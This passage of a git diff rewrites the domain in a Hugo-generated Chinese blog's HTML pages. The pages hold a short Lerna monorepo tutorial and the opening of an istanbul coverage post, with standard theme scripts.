o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/112/index.html b/posts/112/index.html
index 12664244..5d7cca11 100644
--- a/posts/112/index.html
+++ b/posts/112/index.html
@@ -22,8 +22,8 @@
 注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件
 lerna有两个管理模式，分别是固定模式（默认模式）和独立模式
 固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号
-独立模式：init的时候使用&ndash;independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/112/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Lerna多包管理工具"><meta property="og:description" content="Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
+独立模式：init的时候使用&ndash;independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/112/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Lerna多包管理工具"><meta property="og:description" content="Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
 安装Lerna
 npm install &ndash;global lerna
 新建git仓库（初始化）
@@ -47,7 +47,7 @@
 注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件
 lerna有两个管理模式，分别是固定模式（默认模式）和独立模式
 固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号
-独立模式：init的时候使用&ndash;independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/112/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-26T12:50:00+00:00"><meta property="article:modified_time" content="2021-09-26T12:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Lerna多包管理工具"><meta name=twitter:description content="Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
+独立模式：init的时候使用&ndash;independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/112/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-26T12:50:00+00:00"><meta property="article:modified_time" content="2021-09-26T12:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Lerna多包管理工具"><meta name=twitter:description content="Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
 安装Lerna
 npm install &ndash;global lerna
 新建git仓库（初始化）
@@ -71,8 +71,8 @@
 注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件
 lerna有两个管理模式，分别是固定模式（默认模式）和独立模式
 固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号
-独立模式：init的时候使用&ndash;independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Lerna多包管理工具","item":"https://xiaochenabc123.github.io/posts/112/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Lerna多包管理工具","name":"简单使用Lerna多包管理工具","description":"Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包\n安装Lerna\nnpm install \u0026ndash;global lerna\n新建git仓库（初始化）\ngit init lerna-demo\n初始化Lerna仓库\nlerna init\n创建新包\nlerna create demoPackage\n显示全部已经安装的包\nlerna list\n依赖处理（通过软链接方式将多个package关联起来）\nlerna bootstrap\n添加包到外层的node_modules\nlerna add axios\n移除所有packages下的node_modules（不会移除根目录的）\nlerna clean\n发布package（不会发布标记为private的包）\nlerna publish\n查看上一次有修改的包的差异\nlerna diff\n注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件\nlerna有两个管理模式，分别是固定模式（默认模式）和独立模式\n固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号\n独立模式：init的时候使用\u0026ndash;independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号","keywords":["Lerna"],"articleBody":"Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包\n安装Lerna\nnpm install –global lerna\n新建git仓库（初始化）\ngit init lerna-demo\n初始化Lerna仓库\nlerna init\n创建新包\nlerna create demoPackage\n显示全部已经安装的包\nlerna list\n依赖处理（通过软链接方式将多个package关联起来）\nlerna bootstrap\n添加包到外层的node_modules\nlerna add axios\n移除所有packages下的node_modules（不会移除根目录的）\nlerna clean\n发布package（不会发布标记为private的包）\nlerna publish\n查看上一次有修改的包的差异\nlerna diff\n注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件\nlerna有两个管理模式，分别是固定模式（默认模式）和独立模式\n固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号\n独立模式：init的时候使用–independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号\n","wordCount":"40","inLanguage":"en","datePublished":"2021-09-26T12:50:00Z","dateModified":"2021-09-26T12:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/112/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Lerna多包管理工具</h1><div class=post-meta><span title='2021-09-26 12:50:00 +0000 UTC'>2021-09-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Lerna%e5%a4%9a%e5%8c%85%e7%ae%a1%e7%90%86%e5%b7%a5%e5%85%b7.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包</p><p>安装Lerna</p><p>npm install &ndash;global lerna</p><p>新建git仓库（初始化）</p><p>git init lerna-demo</p><p>初始化Lerna仓库</p><p>lerna init</p><p>创建新包</p><p>lerna create demoPackage</p><p>显示全部已经安装的包</p><p>lerna list</p><p>依赖处理（通过软链接方式将多个package关联起来）</p><p>lerna bootstrap</p><p>添加包到外层的node_modules</p><p>lerna add axios</p><p>移除所有packages下的node_modules（不会移除根目录的）</p><p>lerna clean</p><p>发布package（不会发布标记为private的包）</p><p>lerna publish</p><p>查看上一次有修改的包的差异</p><p>lerna diff</p><p>注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件</p><p>lerna有两个管理模式，分别是固定模式（默认模式）和独立模式</p><p>固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号</p><p>独立模式：init的时候使用&ndash;independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/lerna/>Lerna</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/113/><span class=title>« Prev</span><br><span>简单使用istanbul代码覆盖率工具</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/111/><span class=title>Next »</span><br><span>简单使用ESlint代码风格校验工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+独立模式：init的时候使用&ndash;independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Lerna多包管理工具","item":"https://chenjunlinabc.github.io/posts/112/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Lerna多包管理工具","name":"简单使用Lerna多包管理工具","description":"Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包\n安装Lerna\nnpm install \u0026ndash;global lerna\n新建git仓库（初始化）\ngit init lerna-demo\n初始化Lerna仓库\nlerna init\n创建新包\nlerna create demoPackage\n显示全部已经安装的包\nlerna list\n依赖处理（通过软链接方式将多个package关联起来）\nlerna bootstrap\n添加包到外层的node_modules\nlerna add axios\n移除所有packages下的node_modules（不会移除根目录的）\nlerna clean\n发布package（不会发布标记为private的包）\nlerna publish\n查看上一次有修改的包的差异\nlerna diff\n注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件\nlerna有两个管理模式，分别是固定模式（默认模式）和独立模式\n固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号\n独立模式：init的时候使用\u0026ndash;independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号","keywords":["Lerna"],"articleBody":"Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包\n安装Lerna\nnpm install –global lerna\n新建git仓库（初始化）\ngit init lerna-demo\n初始化Lerna仓库\nlerna init\n创建新包\nlerna create demoPackage\n显示全部已经安装的包\nlerna list\n依赖处理（通过软链接方式将多个package关联起来）\nlerna bootstrap\n添加包到外层的node_modules\nlerna add axios\n移除所有packages下的node_modules（不会移除根目录的）\nlerna clean\n发布package（不会发布标记为private的包）\nlerna publish\n查看上一次有修改的包的差异\nlerna diff\n注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件\nlerna有两个管理模式，分别是固定模式（默认模式）和独立模式\n固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号\n独立模式：init的时候使用–independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号\n","wordCount":"40","inLanguage":"en","datePublished":"2021-09-26T12:50:00Z","dateModified":"2021-09-26T12:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/112/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Lerna多包管理工具</h1><div class=post-meta><span title='2021-09-26 12:50:00 +0000 UTC'>2021-09-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Lerna%e5%a4%9a%e5%8c%85%e7%ae%a1%e7%90%86%e5%b7%a5%e5%85%b7.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包</p><p>安装Lerna</p><p>npm install &ndash;global lerna</p><p>新建git仓库（初始化）</p><p>git init lerna-demo</p><p>初始化Lerna仓库</p><p>lerna init</p><p>创建新包</p><p>lerna create demoPackage</p><p>显示全部已经安装的包</p><p>lerna list</p><p>依赖处理（通过软链接方式将多个package关联起来）</p><p>lerna bootstrap</p><p>添加包到外层的node_modules</p><p>lerna add axios</p><p>移除所有packages下的node_modules（不会移除根目录的）</p><p>lerna clean</p><p>发布package（不会发布标记为private的包）</p><p>lerna publish</p><p>查看上一次有修改的包的差异</p><p>lerna diff</p><p>注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件</p><p>lerna有两个管理模式，分别是固定模式（默认模式）和独立模式</p><p>固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号</p><p>独立模式：init的时候使用&ndash;independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/lerna/>Lerna</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/113/><span class=title>« Prev</span><br><span>简单使用istanbul代码覆盖率工具</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/111/><span class=title>Next »</span><br><span>简单使用ESlint代码风格校验工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/113/index.html b/posts/113/index.html
index eebc841b..d879fbc7 100644
--- a/posts/113/index.html
+++ b/posts/113/index.html
@@ -8,8 +8,8 @@
 检查程序覆盖率是否达到某个值
 istanbul check-coverage &ndash;statement 60 &ndash;branch -5 &ndash;function 100
 在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹
-在coverage/lcov-report/index.html，可以查看网页版结果"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/113/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用istanbul代码覆盖率工具"><meta property="og:description" content="代码覆盖率：是否所有代码都被执行或者调用
+在coverage/lcov-report/index.html，可以查看网页版结果"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/113/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var 